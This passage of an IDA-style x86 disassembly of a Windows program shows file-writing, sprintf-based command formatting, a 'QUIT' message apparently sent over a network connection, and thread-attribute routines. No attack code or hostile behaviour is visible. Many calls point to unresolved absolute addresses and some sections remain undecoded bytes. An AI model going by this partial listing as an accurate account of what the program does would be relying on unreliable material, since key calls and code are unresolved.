wrote %d\n" call near ptr 77C4186Ah nop add esp, 0Ch mov [esp+14h+var_4], 0 jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F82D: ; CODE XREF: sub_42F6F0+DAj mov ecx, [esp+14h+arg_C] push ecx push 2000h push edi call sub_40226B add esp, 0Ch cmp eax, ebp jle short loc_42F883 mov esi, dword_511AA0 loc_42F84A: ; CODE XREF: sub_42F6F0+17Dj push ebx push eax push 1 push edi call esi ; fwrite add esp, 10h test eax, eax jbe short loc_42F871 mov edx, [esp+14h+arg_C] push edx push 2000h push edi call sub_40226B add esp, 0Ch cmp eax, ebp jg short loc_42F84A jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F871: ; CODE XREF: sub_42F6F0+166j push offset aLocalfileWrite ; "localfile write" nop call near ptr 77C36DF2h add esp, 4 mov [esp+14h+var_4], ebp loc_42F883: ; CODE XREF: sub_42F6F0+F4j ; sub_42F6F0+121j ... push edi call near ptr 77C2C21Bh nop push ebx call near ptr 77C3EEF6h nop mov eax, [esp+1Ch+arg_0] add esp, 8 test eax, eax jz short loc_42F8A6 push ebx nop call near ptr 77C40AB1h add esp, 4 loc_42F8A6: ; CODE XREF: sub_42F6F0+1AAj mov eax, [esp+14h+arg_C] push eax call sub_401BEF mov eax, [esp+18h+var_4] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn sub_42F6F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F940: ; CODE XREF: ___:004016A9j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 2 push eax push ecx push edx call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F970: ; CODE XREF: ___:00401D43j sub esp, 108h or ecx, 0FFFFFFFFh xor eax, eax push ebx mov ebx, [esp+110h] push ebp push esi push edi mov edi, ebx repne scasb not ecx add ecx, 6 mov ebp, 1 cmp ecx, 100h jbe short loc_42F9A7 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42F9A7: ; CODE XREF: ___:0042F99Aj movsx eax, byte ptr [esp+124h] mov edi, dword_511A6C push eax lea ecx, [esp+1Ch] push offset dword_4474C0 push ecx call edi ; sprintf mov esi, [esp+134h] lea edx, [esp+24h] push esi push 32h push edx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42F9E8 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42F9E8: ; CODE XREF: ___:0042F9DBj push ebx lea eax, [esp+1Ch] push offset dword_4476C4 push eax call edi ; sprintf push esi lea ecx, [esp+28h] push 32h push ecx call sub_42E490 add esp, 18h test eax, eax jz short loc_42FA44 lea edx, [esp+10h] lea eax, [esp+14h] push edx push eax add esi, 44h push offset dword_4476BC push esi nop call near ptr 77C41B72h add esp, 10h cmp eax, 2 jnz short loc_42FA44 mov ecx, [esp+120h] mov edx, [esp+10h] pop edi mov eax, ebp pop esi pop ebp mov [ecx], edx pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42FA44: ; CODE XREF: ___:0042FA07j ; ___:0042FA28j xor ebp, ebp pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FAA0: ; CODE XREF: ___:004013C0j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push edi mov edi, edx mov ebx, 1 repne scasb not ecx add ecx, 6 cmp ecx, 100h jbe short loc_42FAD0 pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FAD0: ; CODE XREF: ___:0042FAC5j push esi push edx lea eax, [esp+10h] push offset dword_4476D0 push eax nop call near ptr 77C3F931h mov esi, [esp+128h] lea ecx, [esp+18h] push esi push 32h push ecx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42FB0B xor ebx, ebx pop esi mov eax, ebx pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FB0B: ; CODE XREF: ___:0042FAFBj mov edx, [esp+118h] mov eax, [esp+114h] add esi, 48h push edx push esi push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, ebx pop esi pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FB70 proc near ; CODE XREF: sub_4016B3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch arg_C = dword ptr 10h movsx eax, [esp+arg_8] mov ecx, [esp+arg_C] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 3 push ecx push edx push eax call sub_42F6F0 add esp, 14h retn sub_42FB70 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FBA0: ; CODE XREF: ___:004016D1j movsx eax, byte ptr [esp+0Ch] mov ecx, [esp+10h] mov edx, [esp+8] push eax mov eax, [esp+8] push 4 push ecx push edx push eax call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FBD0: ; CODE XREF: ___:0040149Cj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42FC69 mov ebx, [esp+114h] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42FC69 mov esi, dword_511A6C push edx lea eax, [esp+10h] push offset dword_4476E8 push eax call esi ; sprintf mov edi, [esp+124h] lea ecx, [esp+18h] push edi push 33h push ecx call sub_42E490 add esp, 18h test eax, eax jz short loc_42FC69 push ebx lea edx, [esp+10h] push offset dword_4476DC push edx call esi ; sprintf push edi lea eax, [esp+1Ch] push 32h push eax call sub_42E490 add esp, 18h neg eax sbb eax, eax pop edi pop esi pop ebx neg eax add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FC69: ; CODE XREF: ___:0042FBF1j ; ___:0042FC0Cj ... pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FCB0: ; CODE XREF: ___:00401C7Bj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42FCD9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FCD9: ; CODE XREF: ___:0042FCD0j push edx lea eax, [esp+4] push offset dword_4476F4 push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FD30 proc near ; CODE XREF: sub_401D66j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+18h] test eax, eax jnz short loc_42FD69 push edi push esi push 32h push offset aQuit ; "QUIT" call sub_42E490 mov eax, [esi+8] add esp, 0Ch push eax call sub_4381FC ; --------------------------------------------------------------------------- mov ecx, [esi+14h] mov edi, dword_511AD0 push ecx call edi ; free push esi call edi ; free add esp, 8 pop edi loc_42FD69: ; CODE XREF: sub_42FD30+Aj pop esi retn sub_42FD30 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FD80: ; CODE XREF: ___:004021C1j push edi mov edi, [esp+8] test edi, edi jnz short loc_42FD90 mov eax, 16h pop edi retn ; --------------------------------------------------------------------------- loc_42FD90: ; CODE XREF: ___:0042FD87j push 1Ch call near ptr 77C2C407h nop add esp, 4 test eax, eax jnz short loc_42FDA6 mov eax, 0Ch pop edi retn ; --------------------------------------------------------------------------- loc_42FDA6: ; CODE XREF: ___:0042FD9Dj mov ecx, 1 mov dword ptr [eax+8], 0 mov dword ptr [eax+0Ch], 0 mov dword ptr [eax+10h], 0 mov [eax+14h], ecx mov [eax+18h], ecx mov dword ptr [eax], 0C4C0FFEEh mov [edi], eax xor eax, eax pop edi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FE00: ; CODE XREF: ___:0040151Ej push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FE19 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FE19: ; CODE XREF: ___:0042FE10j mov eax, [esi] mov dword ptr [eax], 0 mov ecx, [esi] push ecx nop call near ptr 77C2C21Bh add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FE50: ; CODE XREF: ___:004012D5j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax mov eax, [esp+0Ch] jnz short loc_42FE75 test eax, eax jz short loc_42FE75 mov ecx, [esi] pop esi mov edx, [ecx+0Ch] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_42FE75: ; CODE XREF: ___:0042FE64j ; ___:0042FE68j mov dword ptr [eax], 1 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FEA0: ; CODE XREF: ___:004013ACj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FEB9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FEB9: ; CODE XREF: ___:0042FEB0j mov eax, [esp+0Ch] test eax, eax jz short loc_42FECD cmp eax, 1 jz short loc_42FECD mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FECD: ; CODE XREF: ___:0042FEBFj ; ___:0042FEC4j mov ecx, [esi] pop esi mov [ecx+0Ch], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FEF0: ; CODE XREF: ___:00401519j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF10: ; CODE XREF: ___:00401834j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF30: ; CODE XREF: ___:00401348j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FF49 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FF49: ; CODE XREF: ___:0042FF40j mov eax, [esi] mov edx, [esp+0Ch] pop esi mov ecx, [eax+8] xor eax, eax mov [edx], ecx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF70: ; CODE XREF: ___:00402207j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FF89 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FF89: ; CODE XREF: ___:0042FF80j mov eax, [esi] mov ecx, [esp+0Ch] pop esi mov [eax+8], ecx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FFB0: ; CODE XREF: ___:004019B0j mov eax, [esp+4] mov ecx, [eax] mov eax, [esp+8] mov edx, [ecx+18h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FFE0: ; CODE XREF: ___:004019ABj mov eax, [esp+8] sub eax, 0 jz short loc_430002 dec eax jz short loc_42FFF2 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42FFF2: ; CODE XREF: ___:0042FFEAj mov eax, [esp+4] mov ecx, [eax] xor eax, eax mov dword ptr [ecx+18h], 1 retn ; --------------------------------------------------------------------------- loc_430002: ; CODE XREF: ___:0042FFE7j mov eax, 30h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430020: ; CODE XREF: ___:00401C1Cj push ebx mov ebx, [esp+8] push esi push edi test ebx, ebx jz loc_4300BB mov edi, [esp+18h] test edi, edi jz loc_4300BB push 18h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jz short loc_4300B2 mov eax, [esp+14h] ; DATA XREF: ___:off_444E90o test eax, eax jz short loc_430060 mov eax, [eax] test eax, eax jz short loc_430060 mov eax, [eax] jmp short loc_430062 ; --------------------------------------------------------------------------- loc_430060: ; CODE XREF: ___:00430054j ; ___:0043005Aj xor eax, eax loc_430062: ; CODE XREF: ___:0043005Ej mov [esi+4], edi mov [esi], edi lea edi, [esi+10h] push 0 push eax push edi mov [esi+0Ch], eax mov dword ptr [esi+8], 0 call sub_401C8A add esp, 0Ch test eax, eax jnz short loc_4300A8 push eax mov eax, [esi+0Ch] lea ecx, [esi+14h] push eax push ecx call sub_401C8A add esp, 0Ch test eax, eax jnz short loc_43009F mov [ebx], esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43009F: ; CODE XREF: ___:00430097j push edi call sub_401690 add esp, 4 loc_4300A8: ; CODE XREF: ___:00430082j push esi call near ptr 77C2C21Bh nop add esp, 4 loc_4300B2: ; CODE XREF: ___:0043004Cj pop edi pop esi mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_4300BB: ; CODE XREF: ___:00430029j ; ___:00430035j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_430100: ; CODE XREF: ___:0040220Cj push ebx push ebp mov ebp, [esp+0Ch] push esi test ebp, ebp push edi jz short loc_430168 mov esi, [ebp+0] test esi, esi jz short loc_430168 lea ebx, [esi+10h] mov dword ptr [ebp+0], 0 push ebx call sub_401690 mov edi, eax add esp, 4 test edi, edi jnz short loc_43015E lea eax, [esi+14h] push eax call sub_401690 mov edi, eax add esp, 4 test edi, edi jnz short loc_43014F push esi nop call near ptr 77C2C21Bh add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43014F: ; CODE XREF: ___:0043013Cj mov ecx, [esi+0Ch] push 0 push ecx push ebx call sub_401C8A add esp, 0Ch loc_43015E: ; CODE XREF: ___:0043012Aj mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_430168: ; CODE XREF: ___:0043010Aj ; ___:00430111j pop edi pop esi pop ebp mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4301A0: ; CODE XREF: ___:004017A3j mov eax, [esp+4] push esi test eax, eax jz loc_430254 mov esi, [eax] test esi, esi jz loc_430254 push ebp lea ebp, [esi+8] push edi push esi mov edi, [ebp+0] nop call near ptr 279092Ah test eax, eax jnz short loc_4301E7 mov eax, [esi+4] cmp eax, 1 mov [esi], eax jbe short loc_430234 dec eax push eax lea eax, [esi+edi*4+10h] push eax call sub_402068 add esp, 8 mov esi, eax jmp short loc_430230 ; --------------------------------------------------------------------------- loc_4301E7: ; CODE XREF: ___:004301C8j push ebx call sub_4012E4 ; --------------------------------------------------------------------------- mov ecx, [eax+34h] mov ebx, 1 cmp ecx, ebx jnz short loc_43020B lea ecx, [esp+14h] push ecx push ebx call sub_401415 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jz short loc_43020D loc_43020B: ; CODE XREF: ___:004301F7j xor ebx, ebx loc_43020D: ; CODE XREF: ___:00430209j lea edx, [esi+edi*4+10h] push edx call sub_401041 add esp, 4 mov esi, eax test ebx, ebx pop ebx jz short loc_430230 mov eax, [esp+10h] push 0 push eax call sub_401415 ; --------------------------------------------------------------------------- add esp, 8 loc_430230: ; CODE XREF: ___:004301E5j ; ___:0043021Fj test esi, esi jnz short loc_43024E loc_430234: ; CODE XREF: ___:004301D2j mov ecx, 1 push edi sub ecx, edi push ecx push ebp call dword_5103C8 ; InterlockedCompareExchange xor edx, edx cmp edi, eax setnz dl dec edx mov esi, edx loc_43024E: ; CODE XREF: ___:00430232j pop edi mov eax, esi pop ebp pop esi retn ; --------------------------------------------------------------------------- loc_430254: ; CODE XREF: ___:004301A7j ; ___:004301B1j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_430290: ; CODE XREF: ___:00401F6Ej push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_4302B3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4302B3: ; CODE XREF: ___:004302A2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4302E0: ; CODE XREF: ___:00401A87j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_430301 mov eax, [ecx] test eax, eax jz short loc_430301 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430301: ; CODE XREF: ___:004302E9j ; ___:004302EFj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430320: ; CODE XREF: ___:0040127Bj mov eax, [esp+4] test eax, eax jz short loc_43033D mov eax, [eax] test eax, eax jz short loc_43033D mov ecx, [esp+8] test ecx, ecx jz short loc_43033D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43033D: ; CODE XREF: ___:00430326j ; ___:0043032Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430360: ; CODE XREF: ___:00401636j mov eax, [esp+4] test eax, eax jz short loc_43038A mov ecx, [eax] test ecx, ecx jz short loc_43038A mov eax, [esp+8] cmp eax, 1 jz short loc_43037E test eax, eax jnz short loc_43038A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43037E: ; CODE XREF: ___:00430375j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_43038A: ; CODE XREF: ___:00430366j ; ___:0043036Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4303A0 proc near ; CODE XREF: sub_401415j push esi push edi call sub_4012E4 sub_4303A0 endp ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h dd 90525738h, 360277E8h, 75C08502h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 36035DE8h, 0B4E85302h dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_430460: ; CODE XREF: ___:00402261j push ebx push esi call sub_4012E4 ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h dd 90525338h, 3601B7E8h, 75C08502h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 36029DE8h, 0F4E85702h dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430520 proc near ; CODE XREF: sub_401D02j push esi push edi call sub_4012E4 sub_430520 endp ; --------------------------------------------------------------------------- db 8Bh dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h, 307E8334h dd 8B2E7401h, 6A3846h, 19E89050h, 85023601h, 571E75C0h dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh, 5E5F04C4h dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_4305A0: ; CODE XREF: ___:00401D39j sub esp, 2D0h push esi mov esi, [esp+2D8h] push 0 push esi call sub_401762 add esp, 8 mov [esp+4], eax test eax, eax jnz loc_4306D9 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4305DB mov eax, 0Ch pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_4305DB: ; CODE XREF: ___:004305CCj push ebx push ebp push edi push eax push esi call sub_401A64 lea ebx, [esi+2Ch] mov edi, eax push ebx call sub_402248 mov eax, [esi+34h] add esp, 0Ch test eax, eax mov ebp, 3 jnz loc_4306B2 mov eax, [esi+30h] test eax, eax jnz loc_4306B2 cmp [esi+0Ch], ebp jge loc_4306C5 test edi, edi jz short loc_430644 push ebx mov [esi+0Ch], ebp mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- mov eax, [esp+18h] add esp, 8 pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_430644: ; CODE XREF: ___:00430619j mov edi, [esi+4] push edi nop call near ptr 27809B8h push 0 push edi nop call near ptr 2790664h cmp eax, 102h jnz short loc_4306D2 lea eax, [esp+14h] mov [esi+0Ch], ebp push eax push edi mov dword ptr [esi+30h], 1 mov dword ptr [esp+1Ch], 10001h nop call near ptr 2780B37h lea ecx, [esp+14h] mov dword ptr [esp+0CCh], offset loc_430750 push ecx push edi nop call near ptr 2790000h push ebx call sub_4010C3 add esp, 4 push edi nop call near ptr 27902E2h mov eax, [esp+10h] pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_4306B2: ; CODE XREF: ___:004305FDj ; ___:00430608j cmp [esi+0Ch], ebp jge short loc_4306C5 mov edx, [esi+38h] push edx nop call near ptr 27904E2h test eax, eax jnz short loc_4306C9 loc_4306C5: ; CODE XREF: ___:00430611j ; ___:004306B5j mov [esp+10h], ebp loc_4306C9: ; CODE XREF: ___:004306C3j push ebx call sub_4010C3 add esp, 4 loc_4306D2: ; CODE XREF: ___:0043065Cj mov eax, [esp+10h] pop edi pop ebp pop ebx loc_4306D9: ; CODE XREF: ___:004305BFj pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_430750: ; DATA XREF: ___:00430680o push 2 call sub_401DED ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430770 proc near ; CODE XREF: sub_401122j mov eax, dword_5103B8 push esi push eax call sub_401190 sub_430770 endp ; --------------------------------------------------------------------------- mov esi, eax add esp, 4 test esi, esi jz short loc_4307AE mov eax, [esp+8] test eax, eax jz short loc_43079C mov eax, [esi] test eax, eax jz short loc_43079C mov ecx, [esi+4] push ecx call eax add esp, 4 loc_43079C: ; CODE XREF: ___:0043078Bj ; ___:00430791j mov edx, [esi+8] mov eax, dword_5103B8 push edx push eax call sub_4020F9 ; --------------------------------------------------------------------------- add esp, 8 loc_4307AE: ; CODE XREF: ___:00430783j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4307E0 proc near ; CODE XREF: sub_401663j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] mov ecx, [esp+arg_8] push esi mov esi, [esp+4+arg_0] mov [esi], eax mov [esi+4], ecx mov edx, dword_5103B8 push edx call sub_401190 sub_4307E0 endp ; --------------------------------------------------------------------------- mov [esi+8], eax mov eax, dword_5103B8 push esi push eax call sub_4020F9 ; --------------------------------------------------------------------------- add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430830 proc near ; CODE XREF: sub_401B63j arg_0 = dword ptr 4 push esi push offset dword_510900 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_430864 push esi push ecx call sub_40154B add esp, 8 mov esi, eax push offset dword_510900 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430864: ; CODE XREF: sub_430830+17j test eax, eax jnz short loc_43086D mov esi, 16h loc_43086D: ; CODE XREF: sub_430830+36j push offset dword_510900 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_430830 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4308A0: ; CODE XREF: ___:0040211Cj push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_4308C3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4308C3: ; CODE XREF: ___:004308B2j mov ecx, [esp+8] mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4308E0: ; CODE XREF: ___:004021F3j push esi mov esi, [esp+8] test esi, esi jz short loc_430903 mov eax, [esi] test eax, eax jz short loc_430903 push eax nop call near ptr 77C2C21Bh add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_430903: ; CODE XREF: ___:004308E7j ; ___:004308EDj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430920: ; CODE XREF: ___:00401005j mov eax, [esp+4] test eax, eax jz short loc_43093D mov eax, [eax] test eax, eax jz short loc_43093D mov ecx, [esp+8] test ecx, ecx jz short loc_43093D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43093D: ; CODE XREF: ___:00430926j ; ___:0043092Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430960: ; CODE XREF: ___:004012ADj mov eax, [esp+4] test eax, eax jz short loc_43098A mov ecx, [eax] test ecx, ecx jz short loc_43098A mov eax, [esp+8] cmp eax, 1 jz short loc_43097E test eax, eax jnz short loc_43098A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43097E: ; CODE XREF: ___:00430975j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_43098A: ; CODE XREF: ___:00430966j ; ___:0043096Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4309A0 proc near ; CODE XREF: sub_40154Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi xor edi, edi xor esi, esi cmp eax, edi jnz short loc_4309B6 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4309B6: ; CODE XREF: sub_4309A0+Cj mov eax, [esp+8+arg_4] push ebx cmp eax, edi push ebp jz short loc_4309DD mov eax, [eax] cmp eax, edi jz short loc_4309DD cmp dword ptr [eax], 1 jnz short loc_4309DD mov edx, [esp+10h+arg_0] mov edi, 28h pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4309DD: ; CODE XREF: sub_4309A0+1Ej ; sub_4309A0+24j ... push 20h push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 cmp esi, edi jnz short loc_430A02 mov edx, [esp+10h+arg_0] mov edi, 0Ch pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430A02: ; CODE XREF: sub_4309A0+4Ej lea ebp, [esi+10h] push 1 push edi push ebp mov [esi], edi mov [esi+8], edi mov [esi+4], edi call sub_401C8A add esp, 0Ch test eax, eax jz short loc_430A27 nop call near ptr 77C1F2BCh mov edi, [eax] jmp short loc_430A6B ; --------------------------------------------------------------------------- loc_430A27: ; CODE XREF: sub_4309A0+7Bj lea ebx, [esi+0Ch] push 0 push 0 push ebx call sub_401C8A add esp, 0Ch test eax, eax jz short loc_430A45 call near ptr 77C1F2BCh nop mov 